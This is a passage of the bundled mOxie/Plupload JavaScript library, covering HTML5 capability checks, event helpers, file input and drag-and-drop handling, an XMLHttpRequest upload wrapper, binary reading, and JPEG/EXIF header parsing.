Test(window.XMLHttpRequest && new XMLHttpRequest().upload), resize_image: function() { return I.can('access_binary') && Env.can('create_canvas'); }, select_file: function() { return Env.can('use_fileinput') && window.File; }, select_folder: function() { return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>='); }, select_multiple: function() { // it is buggy on Safari Windows and iOS return I.can('select_file') && !(Env.browser === 'Safari' && Env.os === 'Windows') && !(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<')); }, send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))), send_custom_headers: Test(window.XMLHttpRequest), send_multipart: function() { return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string'); }, slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)), stream_upload: function(){ return I.can('slice_blob') && I.can('send_multipart'); }, summon_file_dialog: function() { // yeah... some dirty sniffing here... return I.can('select_file') && ( (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) || (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || !!~Basic.inArray(Env.browser, ['Chrome', 'Safari']) ); }, upload_filesize: True }, arguments[2] ); Runtime.call(this, options, (arguments[1] || type), caps); Basic.extend(this, { init : function() { this.trigger("Init"); }, destroy: (function(destroy) { // extend default destroy method return function() { destroy.call(I); destroy = I = null; }; }(this.destroy)) }); Basic.extend(this.getShim(), extensions); } Runtime.addConstructor(type, Html5Runtime); return extensions; }); // Included from: src/javascript/core/utils/Events.js /** * Events.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Events', [ 'moxie/core/utils/Basic' ], function(Basic) { var eventhash = {}, uid = 'moxie_' + Basic.guid(); // IE W3C like event funcs function preventDefault() { this.returnValue = false; } function stopPropagation() { this.cancelBubble = true; } /** Adds an event handler to the specified object and store reference to the handler in objects internal Plupload registry (@see removeEvent). @method addEvent @for Utils @static @param {Object} obj DOM element like object to add handler to. @param {String} name Name to add event listener to. @param {Function} callback Function to call when event occurs. @param {String} [key] that might be used to add specifity to the event record. */ var addEvent = function(obj, name, callback, key) { var func, events; name = name.toLowerCase(); // Add event listener if (obj.addEventListener) { func = callback; obj.addEventListener(name, func, false); } else if (obj.attachEvent) { func = function() { var evt = window.event; if (!evt.target) { evt.target = evt.srcElement; } evt.preventDefault = preventDefault; evt.stopPropagation = stopPropagation; callback(evt); }; obj.attachEvent('on' + name, func); } // Log event handler to objects internal mOxie registry if (!obj[uid]) { obj[uid] = Basic.guid(); } if (!eventhash.hasOwnProperty(obj[uid])) { eventhash[obj[uid]] = {}; } events = eventhash[obj[uid]]; if (!events.hasOwnProperty(name)) { events[name] = []; } events[name].push({ func: func, orig: callback, // store original callback for IE key: key }); }; /** Remove event handler from the specified object. If third argument (callback) is not specified remove all events with the specified name. @method removeEvent @static @param {Object} obj DOM element to remove event listener(s) from. @param {String} name Name of event listener to remove. @param {Function|String} [callback] might be a callback or unique key to match. */ var removeEvent = function(obj, name, callback) { var type, undef; name = name.toLowerCase(); if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) { type = eventhash[obj[uid]][name]; } else { return; } for (var i = type.length - 1; i >= 0; i--) { // undefined or not, key should match if (type[i].orig === callback || type[i].key === callback) { if (obj.removeEventListener) { obj.removeEventListener(name, type[i].func, false); } else if (obj.detachEvent) { obj.detachEvent('on'+name, type[i].func); } type[i].orig = null; type[i].func = null; type.splice(i, 1); // If callback was passed we are done here, otherwise proceed if (callback !== undef) { break; } } } // If event array got empty, remove it if (!type.length) { delete eventhash[obj[uid]][name]; } // If mOxie registry has become empty, remove it if (Basic.isEmptyObj(eventhash[obj[uid]])) { delete eventhash[obj[uid]]; // IE doesn't let you remove DOM object property with - delete try { delete obj[uid]; } catch(e) { obj[uid] = undef; } } }; /** Remove all kind of events from the specified object @method removeAllEvents @static @param {Object} obj DOM element to remove event listeners from. @param {String} [key] unique key to match, when removing events. */ var removeAllEvents = function(obj, key) { if (!obj || !obj[uid]) { return; } Basic.each(eventhash[obj[uid]], function(events, name) { removeEvent(obj, name, key); }); }; return { addEvent: addEvent, removeEvent: removeEvent, removeAllEvents: removeAllEvents }; }); // Included from: src/javascript/runtime/html5/file/FileInput.js /** * FileInput.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/FileInput @private */ define("moxie/runtime/html5/file/FileInput", [ "moxie/runtime/html5/Runtime", "moxie/file/File", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Events", "moxie/core/utils/Mime", "moxie/core/utils/Env" ], function(extensions, File, Basic, Dom, Events, Mime, Env) { function FileInput() { var _options; Basic.extend(this, { init: function(options) { var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top; _options = options; // figure out accept string mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension')); shimContainer = I.getShimContainer(); shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' + (_options.multiple && I.can('select_multiple') ? 'multiple' : '') + (_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+ (mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />'; input = Dom.get(I.uid); // prepare file input to be placed underneath the browse_button element Basic.extend(input.style, { position: 'absolute', top: 0, left: 0, width: '100%', height: '100%' }); browseButton = Dom.get(_options.browse_button); // Route click event to the input[type=file] element for browsers that support such behavior if (I.can('summon_file_dialog')) { if (Dom.getStyle(browseButton, 'position') === 'static') { browseButton.style.position = 'relative'; } zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1; browseButton.style.zIndex = zIndex; shimContainer.style.zIndex = zIndex - 1; Events.addEvent(browseButton, 'click', function(e) { var input = Dom.get(I.uid); if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file] input.click(); } e.preventDefault(); }, comp.uid); } /* Since we have to place input[type=file] on top of the browse_button for some browsers, browse_button loses interactivity, so we restore it here */ top = I.can('summon_file_dialog') ? browseButton : shimContainer; Events.addEvent(top, 'mouseover', function() { comp.trigger('mouseenter'); }, comp.uid); Events.addEvent(top, 'mouseout', function() { comp.trigger('mouseleave'); }, comp.uid); Events.addEvent(top, 'mousedown', function() { comp.trigger('mousedown'); }, comp.uid); Events.addEvent(Dom.get(_options.container), 'mouseup', function() { comp.trigger('mouseup'); }, comp.uid); input.onchange = function onChange(e) { // there should be only one handler for this comp.files = []; Basic.each(this.files, function(file) { var relativePath = ''; if (_options.directory) { // folders are represented by dots, filter them out (Chrome 11+) if (file.name == ".") { // if it looks like a folder... return true; } } if (file.webkitRelativePath) { relativePath = '/' + file.webkitRelativePath.replace(/^\//, ''); } file = new File(I.uid, file); file.relativePath = relativePath; comp.files.push(file); }); // clearing the value enables the user to select the same file again if they want to if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') { this.value = ''; } else { // in IE input[type="file"] is read-only so the only way to reset it is to re-insert it var clone = this.cloneNode(true); this.parentNode.replaceChild(clone, this); clone.onchange = onChange; } if (comp.files.length) { comp.trigger('change'); } }; // ready event is perfectly asynchronous comp.trigger({ type: 'ready', async: true }); shimContainer = null; }, disable: function(state) { var I = this.getRuntime(), input; if ((input = Dom.get(I.uid))) { input.disabled = !!state; } }, destroy: function() { var I = this.getRuntime() , shim = I.getShim() , shimContainer = I.getShimContainer() ; Events.removeAllEvents(shimContainer, this.uid); Events.removeAllEvents(_options && Dom.get(_options.container), this.uid); Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid); if (shimContainer) { shimContainer.innerHTML = ''; } shim.removeInstance(this.uid); _options = shimContainer = shim = null; } }); } return (extensions.FileInput = FileInput); }); // Included from: src/javascript/runtime/html5/file/Blob.js /** * Blob.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/Blob @private */ define("moxie/runtime/html5/file/Blob", [ "moxie/runtime/html5/Runtime", "moxie/file/Blob" ], function(extensions, Blob) { function HTML5Blob() { function w3cBlobSlice(blob, start, end) { var blobSlice; if (window.File.prototype.slice) { try { blob.slice(); // depricated version will throw WRONG_ARGUMENTS_ERR exception return blob.slice(start, end); } catch (e) { // depricated slice method return blob.slice(start, end - start); } // slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672 } else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) { return blobSlice.call(blob, start, end); } else { return null; // or throw some exception } } this.slice = function() { return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments)); }; } return (extensions.Blob = HTML5Blob); }); // Included from: src/javascript/runtime/html5/file/FileDrop.js /** * FileDrop.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/FileDrop @private */ define("moxie/runtime/html5/file/FileDrop", [ "moxie/runtime/html5/Runtime", 'moxie/file/File', "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Events", "moxie/core/utils/Mime" ], function(extensions, File, Basic, Dom, Events, Mime) { function FileDrop() { var _files = [], _allowedExts = [], _options, _ruid; Basic.extend(this, { init: function(options) { var comp = this, dropZone; _options = options; _ruid = comp.ruid; // every dropped-in file should have a reference to the runtime _allowedExts = _extractExts(_options.accept); dropZone = _options.container; Events.addEvent(dropZone, 'dragover', function(e) { if (!_hasFiles(e)) { return; } e.preventDefault(); e.dataTransfer.dropEffect = 'copy'; }, comp.uid); Events.addEvent(dropZone, 'drop', function(e) { if (!_hasFiles(e)) { return; } e.preventDefault(); _files = []; // Chrome 21+ accepts folders via Drag'n'Drop if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) { _readItems(e.dataTransfer.items, function() { comp.files = _files; comp.trigger("drop"); }); } else { Basic.each(e.dataTransfer.files, function(file) { _addFile(file); }); comp.files = _files; comp.trigger("drop"); } }, comp.uid); Events.addEvent(dropZone, 'dragenter', function(e) { comp.trigger("dragenter"); }, comp.uid); Events.addEvent(dropZone, 'dragleave', function(e) { comp.trigger("dragleave"); }, comp.uid); }, destroy: function() { Events.removeAllEvents(_options && Dom.get(_options.container), this.uid); _ruid = _files = _allowedExts = _options = null; } }); function _hasFiles(e) { if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover return false; } var types = Basic.toArray(e.dataTransfer.types || []); return Basic.inArray("Files", types) !== -1 || Basic.inArray("public.file-url", types) !== -1 || // Safari < 5 Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6) ; } function _addFile(file, relativePath) { if (_isAcceptable(file)) { var fileObj = new File(_ruid, file); fileObj.relativePath = relativePath || ''; _files.push(fileObj); } } function _extractExts(accept) { var exts = []; for (var i = 0; i < accept.length; i++) { [].push.apply(exts, accept[i].extensions.split(/\s*,\s*/)); } return Basic.inArray('*', exts) === -1 ? exts : []; } function _isAcceptable(file) { if (!_allowedExts.length) { return true; } var ext = Mime.getFileExtension(file.name); return !ext || Basic.inArray(ext, _allowedExts) !== -1; } function _readItems(items, cb) { var entries = []; Basic.each(items, function(item) { var entry = item.webkitGetAsEntry(); // Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579) if (entry) { // file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61 if (entry.isFile) { _addFile(item.getAsFile(), entry.fullPath); } else { entries.push(entry); } } }); if (entries.length) { _readEntries(entries, cb); } else { cb(); } } function _readEntries(entries, cb) { var queue = []; Basic.each(entries, function(entry) { queue.push(function(cbcb) { _readEntry(entry, cbcb); }); }); Basic.inSeries(queue, function() { cb(); }); } function _readEntry(entry, cb) { if (entry.isFile) { entry.file(function(file) { _addFile(file, entry.fullPath); cb(); }, function() { // fire an error event maybe cb(); }); } else if (entry.isDirectory) { _readDirEntry(entry, cb); } else { cb(); // not file, not directory? what then?.. } } function _readDirEntry(dirEntry, cb) { var entries = [], dirReader = dirEntry.createReader(); // keep quering recursively till no more entries function getEntries(cbcb) { dirReader.readEntries(function(moreEntries) { if (moreEntries.length) { [].push.apply(entries, moreEntries); getEntries(cbcb); } else { cbcb(); } }, cbcb); } // ...and you thought FileReader was crazy... getEntries(function() { _readEntries(entries, cb); }); } } return (extensions.FileDrop = FileDrop); }); // Included from: src/javascript/runtime/html5/file/FileReader.js /** * FileReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/FileReader @private */ define("moxie/runtime/html5/file/FileReader", [ "moxie/runtime/html5/Runtime", "moxie/core/utils/Encode", "moxie/core/utils/Basic" ], function(extensions, Encode, Basic) { function FileReader() { var _fr, _convertToBinary = false; Basic.extend(this, { read: function(op, blob) { var comp = this; comp.result = ''; _fr = new window.FileReader(); _fr.addEventListener('progress', function(e) { comp.trigger(e); }); _fr.addEventListener('load', function(e) { comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result; comp.trigger(e); }); _fr.addEventListener('error', function(e) { comp.trigger(e, _fr.error); }); _fr.addEventListener('loadend', function(e) { _fr = null; comp.trigger(e); }); if (Basic.typeOf(_fr[op]) === 'function') { _convertToBinary = false; _fr[op](blob.getSource()); } else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+ _convertToBinary = true; _fr.readAsDataURL(blob.getSource()); } }, abort: function() { if (_fr) { _fr.abort(); } }, destroy: function() { _fr = null; } }); function _toBinary(str) { return Encode.atob(str.substring(str.indexOf('base64,') + 7)); } } return (extensions.FileReader = FileReader); }); // Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js /** * XMLHttpRequest.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global ActiveXObject:true */ /** @class moxie/runtime/html5/xhr/XMLHttpRequest @private */ define("moxie/runtime/html5/xhr/XMLHttpRequest", [ "moxie/runtime/html5/Runtime", "moxie/core/utils/Basic", "moxie/core/utils/Mime", "moxie/core/utils/Url", "moxie/file/File", "moxie/file/Blob", "moxie/xhr/FormData", "moxie/core/Exceptions", "moxie/core/utils/Env" ], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) { function XMLHttpRequest() { var self = this , _xhr , _filename ; Basic.extend(this, { send: function(meta, data) { var target = this , isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<')) , isAndroidBrowser = Env.browser === 'Android Browser' , mustSendAsBinary = false ; // extract file name _filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase(); _xhr = _getNativeXHR(); _xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password); // prepare data to be sent if (data instanceof Blob) { if (data.isDetached()) { mustSendAsBinary = true; } data = data.getSource(); } else if (data instanceof FormData) { if (data.hasBlob()) { if (data.getBlob().isDetached()) { data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state mustSendAsBinary = true; } else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) { // Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150 // Android browsers (default one and Dolphin) seem to have the same issue, see: #613 _preloadAndSend.call(target, meta, data); return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D } } // transfer fields to real FormData if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart() var fd = new window.FormData(); data.each(function(value, name) { if (value instanceof Blob) { fd.append(name, value.getSource()); } else { fd.append(name, value); } }); data = fd; } } // if XHR L2 if (_xhr.upload) { if (meta.withCredentials) { _xhr.withCredentials = true; } _xhr.addEventListener('load', function(e) { target.trigger(e); }); _xhr.addEventListener('error', function(e) { target.trigger(e); }); // additionally listen to progress events _xhr.addEventListener('progress', function(e) { target.trigger(e); }); _xhr.upload.addEventListener('progress', function(e) { target.trigger({ type: 'UploadProgress', loaded: e.loaded, total: e.total }); }); // ... otherwise simulate XHR L2 } else { _xhr.onreadystatechange = function onReadyStateChange() { // fake Level 2 events switch (_xhr.readyState) { case 1: // XMLHttpRequest.OPENED // readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu break; // looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu case 2: // XMLHttpRequest.HEADERS_RECEIVED break; case 3: // XMLHttpRequest.LOADING // try to fire progress event for not XHR L2 var total, loaded; try { if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here } if (_xhr.responseText) { // responseText was introduced in IE7 loaded = _xhr.responseText.length; } } catch(ex) { total = loaded = 0; } target.trigger({ type: 'progress', lengthComputable: !!total, total: parseInt(total, 10), loaded: loaded }); break; case 4: // XMLHttpRequest.DONE // release readystatechange handler (mostly for IE) _xhr.onreadystatechange = function() {}; // usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout if (_xhr.status === 0) { target.trigger('error'); } else { target.trigger('load'); } break; } }; } // set request headers if (!Basic.isEmptyObj(meta.headers)) { Basic.each(meta.headers, function(value, header) { _xhr.setRequestHeader(header, value); }); } // request response type if ("" !== meta.responseType && 'responseType' in _xhr) { if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one _xhr.responseType = 'text'; } else { _xhr.responseType = meta.responseType; } } // send ... if (!mustSendAsBinary) { _xhr.send(data); } else { if (_xhr.sendAsBinary) { // Gecko _xhr.sendAsBinary(data); } else { // other browsers having support for typed arrays (function() { // mimic Gecko's sendAsBinary var ui8a = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { ui8a[i] = (data.charCodeAt(i) & 0xff); } _xhr.send(ui8a.buffer); }()); } } target.trigger('loadstart'); }, getStatus: function() { // according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception try { if (_xhr) { return _xhr.status; } } catch(ex) {} return 0; }, getResponse: function(responseType) { var I = this.getRuntime(); try { switch (responseType) { case 'blob': var file = new File(I.uid, _xhr.response); // try to extract file name from content-disposition if possible (might be - not, if CORS for example) var disposition = _xhr.getResponseHeader('Content-Disposition'); if (disposition) { // extract filename from response header if available var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/); if (match) { _filename = match[2]; } } file.name = _filename; // pre-webkit Opera doesn't set type property on the blob response if (!file.type) { file.type = Mime.getFileMime(_filename); } return file; case 'json': if (!Env.can('return_response_type', 'json')) { return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null; } return _xhr.response; case 'document': return _getDocument(_xhr); default: return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes } } catch(ex) { return null; } }, getAllResponseHeaders: function() { try { return _xhr.getAllResponseHeaders(); } catch(ex) {} return ''; }, abort: function() { if (_xhr) { _xhr.abort(); } }, destroy: function() { self = _filename = null; } }); // here we go... ugly fix for ugly bug function _preloadAndSend(meta, data) { var target = this, blob, fr; // get original blob blob = data.getBlob().getSource(); // preload blob in memory to be sent as binary string fr = new window.FileReader(); fr.onload = function() { // overwrite original blob data.append(data.getBlobName(), new Blob(null, { type: blob.type, data: fr.result })); // invoke send operation again self.send.call(target, meta, data); }; fr.readAsBinaryString(blob); } function _getNativeXHR() { if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy return new window.XMLHttpRequest(); } else { return (function() { var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0 for (var i = 0; i < progIDs.length; i++) { try { return new ActiveXObject(progIDs[i]); } catch (ex) {} } })(); } } // @credits Sergey Ilinsky (http://www.ilinsky.com/) function _getDocument(xhr) { var rXML = xhr.responseXML; var rText = xhr.responseText; // Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type) if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) { rXML = new window.ActiveXObject("Microsoft.XMLDOM"); rXML.async = false; rXML.validateOnParse = false; rXML.loadXML(rText); } // Check if there is no error in document if (rXML) { if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") { return null; } } return rXML; } function _prepareMultipart(fd) { var boundary = '----moxieboundary' + new Date().getTime() , dashdash = '--' , crlf = '\r\n' , multipart = '' , I = this.getRuntime() ; if (!I.can('send_binary_string')) { throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR); } _xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary); // append multipart parameters fd.each(function(value, name) { // Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(), // so we try it here ourselves with: unescape(encodeURIComponent(value)) if (value instanceof Blob) { // Build RFC2388 blob multipart += dashdash + boundary + crlf + 'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf + 'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf + value.getSource() + crlf; } else { multipart += dashdash + boundary + crlf + 'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf + unescape(encodeURIComponent(value)) + crlf; } }); multipart += dashdash + boundary + dashdash + crlf; return multipart; } } return (extensions.XMLHttpRequest = XMLHttpRequest); }); // Included from: src/javascript/runtime/html5/utils/BinaryReader.js /** * BinaryReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/utils/BinaryReader @private */ define("moxie/runtime/html5/utils/BinaryReader", [ "moxie/core/utils/Basic" ], function(Basic) { function BinaryReader(data) { if (data instanceof ArrayBuffer) { ArrayBufferReader.apply(this, arguments); } else { UTF16StringReader.apply(this, arguments); } } Basic.extend(BinaryReader.prototype, { littleEndian: false, read: function(idx, size) { var sum, mv, i; if (idx + size > this.length()) { throw new Error("You are trying to read outside the source boundaries."); } mv = this.littleEndian ? 0 : -8 * (size - 1) ; for (i = 0, sum = 0; i < size; i++) { sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8)); } return sum; }, write: function(idx, num, size) { var mv, i, str = ''; if (idx > this.length()) { throw new Error("You are trying to write outside the source boundaries."); } mv = this.littleEndian ? 0 : -8 * (size - 1) ; for (i = 0; i < size; i++) { this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255); } }, BYTE: function(idx) { return this.read(idx, 1); }, SHORT: function(idx) { return this.read(idx, 2); }, LONG: function(idx) { return this.read(idx, 4); }, SLONG: function(idx) { // 2's complement notation var num = this.read(idx, 4); return (num > 2147483647 ? num - 4294967296 : num); }, CHAR: function(idx) { return String.fromCharCode(this.read(idx, 1)); }, STRING: function(idx, count) { return this.asArray('CHAR', idx, count).join(''); }, asArray: function(type, idx, count) { var values = []; for (var i = 0; i < count; i++) { values[i] = this[type](idx + i); } return values; } }); function ArrayBufferReader(data) { var _dv = new DataView(data); Basic.extend(this, { readByteAt: function(idx) { return _dv.getUint8(idx); }, writeByteAt: function(idx, value) { _dv.setUint8(idx, value); }, SEGMENT: function(idx, size, value) { switch (arguments.length) { case 2: return data.slice(idx, idx + size); case 1: return data.slice(idx); case 3: if (value === null) { value = new ArrayBuffer(); } if (value instanceof ArrayBuffer) { var arr = new Uint8Array(this.length() - size + value.byteLength); if (idx > 0) { arr.set(new Uint8Array(data.slice(0, idx)), 0); } arr.set(new Uint8Array(value), idx); arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength); this.clear(); data = arr.buffer; _dv = new DataView(data); break; } default: return data; } }, length: function() { return data ? data.byteLength : 0; }, clear: function() { _dv = data = null; } }); } function UTF16StringReader(data) { Basic.extend(this, { readByteAt: function(idx) { return data.charCodeAt(idx); }, writeByteAt: function(idx, value) { putstr(String.fromCharCode(value), idx, 1); }, SEGMENT: function(idx, length, segment) { switch (arguments.length) { case 1: return data.substr(idx); case 2: return data.substr(idx, length); case 3: putstr(segment !== null ? segment : '', idx, length); break; default: return data; } }, length: function() { return data ? data.length : 0; }, clear: function() { data = null; } }); function putstr(segment, idx, length) { length = arguments.length === 3 ? length : data.length - idx - 1; data = data.substr(0, idx) + segment + data.substr(length + idx); } } return BinaryReader; }); // Included from: src/javascript/runtime/html5/image/JPEGHeaders.js /** * JPEGHeaders.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/JPEGHeaders @private */ define("moxie/runtime/html5/image/JPEGHeaders", [ "moxie/runtime/html5/utils/BinaryReader", "moxie/core/Exceptions" ], function(BinaryReader, x) { return function JPEGHeaders(data) { var headers = [], _br, idx, marker, length = 0; _br = new BinaryReader(data); // Check if data is jpeg if (_br.SHORT(0) !== 0xFFD8) { _br.clear(); throw new x.ImageError(x.ImageError.WRONG_FORMAT); } idx = 2; while (idx <= _br.length()) { marker = _br.SHORT(idx); // omit RST (restart) markers if (marker >= 0xFFD0 && marker <= 0xFFD7) { idx += 2; continue; } // no headers allowed after SOS marker if (marker === 0xFFDA || marker === 0xFFD9) { break; } length = _br.SHORT(idx + 2) + 2; // APPn marker detected if (marker >= 0xFFE1 && marker <= 0xFFEF) { headers.push({ hex: marker, name: 'APP' + (marker & 0x000F), start: idx, length: length, segment: _br.SEGMENT(idx, length) }); } idx += length; } _br.clear(); return { headers: headers, restore: function(data) { var max, i, br; br = new BinaryReader(data); idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2; for (i = 0, max = headers.length; i < max; i++) { br.SEGMENT(idx, 0, headers[i].segment); idx += headers[i].length; } data = br.SEGMENT(); br.clear(); return data; }, strip: function(data) { var br, headers, jpegHeaders, i; jpegHeaders = new JPEGHeaders(data); headers = jpegHeaders.headers; jpegHeaders.purge(); br = new BinaryReader(data); i = headers.length; while (i--) { br.SEGMENT(headers[i].start, headers[i].length, ''); } data = br.SEGMENT(); br.clear(); return data; }, get: function(name) { var array = []; for (var i = 0, max = headers.length; i < max; i++) { if (headers[i].name === name.toUpperCase()) { array.push(headers[i].segment); } } return array; }, set: function(name, segment) { var array = [], i, ii, max; if (typeof(segment) === 'string') { array.push(segment); } else { array = segment; } for (i = ii = 0, max = headers.length; i < max; i++) { if (headers[i].name === name.toUpperCase()) { headers[i].segment = array[ii]; headers[i].length = array[ii].length; ii++; } if (ii >= array.length) { break; } } }, purge: function() { this.headers = headers = []; } }; }; }); // Included from: src/javascript/runtime/html5/image/ExifParser.js /** * ExifParser.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/ExifParser @private */ define("moxie/runtime/html5/image/ExifParser", [ "moxie/core/utils/Basic", "moxie/runtime/html5/utils/BinaryReader", "moxie/core/Exceptions" ], function(Basic, BinaryReader, x) { function ExifParser(data) { var __super__, tags, tagDescs, offsets, idx, Tiff; BinaryReader.call(this, data); tags = { tiff: { /* The image orientation viewed in terms of rows and columns. 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side. 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side. 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side. 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side. 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top. 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top. 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom. 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom. */ 0x0112: 'Orientation', 0x010E: 'ImageDescription', 0x010F: 'Make', 0x0110: 'Model', 0x0131: 'Software', 0x8769: 'ExifIFDPointer', 0x8825: 'GPSInfoIFDPointer' }, exif: { 0x9000: 'ExifVersion', 0xA001: 'ColorSpace', 0xA002: 'PixelXDimension', 0xA003: 'PixelYDimension', 0x9003: 'DateTimeOriginal', 0x829A: 'ExposureTime', 0x829D: 'FNumber', 0x8827: 'ISOSpeedRatings', 0x9201: 'ShutterSpeedValue', 0x9202: 'ApertureValue' , 0x9207: 'MeteringMode', 0x9208: 'LightSource', 0x9209: 'Flash', 0x920A: 'FocalLength', 0xA402: 'ExposureMode', 0xA403: 'WhiteBalance', 0xA406: 'SceneCaptureType', 0xA404: 'DigitalZoomRatio', 0xA408: 'Contrast', 0xA409: 'Saturation', 0xA40A: 'Sharpness' }, gps: { 0x0000: 'GPSVersionID', 0x0001: 'GPSLatitudeRef', 0x0002: 'GPSLatitude', 0x0003: 'GPSLongitudeRef', 0x0004: 'GPSLongitude' }, thumb: { 0x0201: 'JPEGInterchangeFormat', 0x0202: 'JPEGInterchangeFormatLength' } }; tagDescs = { 'ColorSpace': { 1: 'sRGB', 0: 'Uncalibrated' }, 'MeteringMode': { 0: 'Unknown', 1: 'Average', 2: 'CenterWeightedAverage', 3: 'Spot', 4: 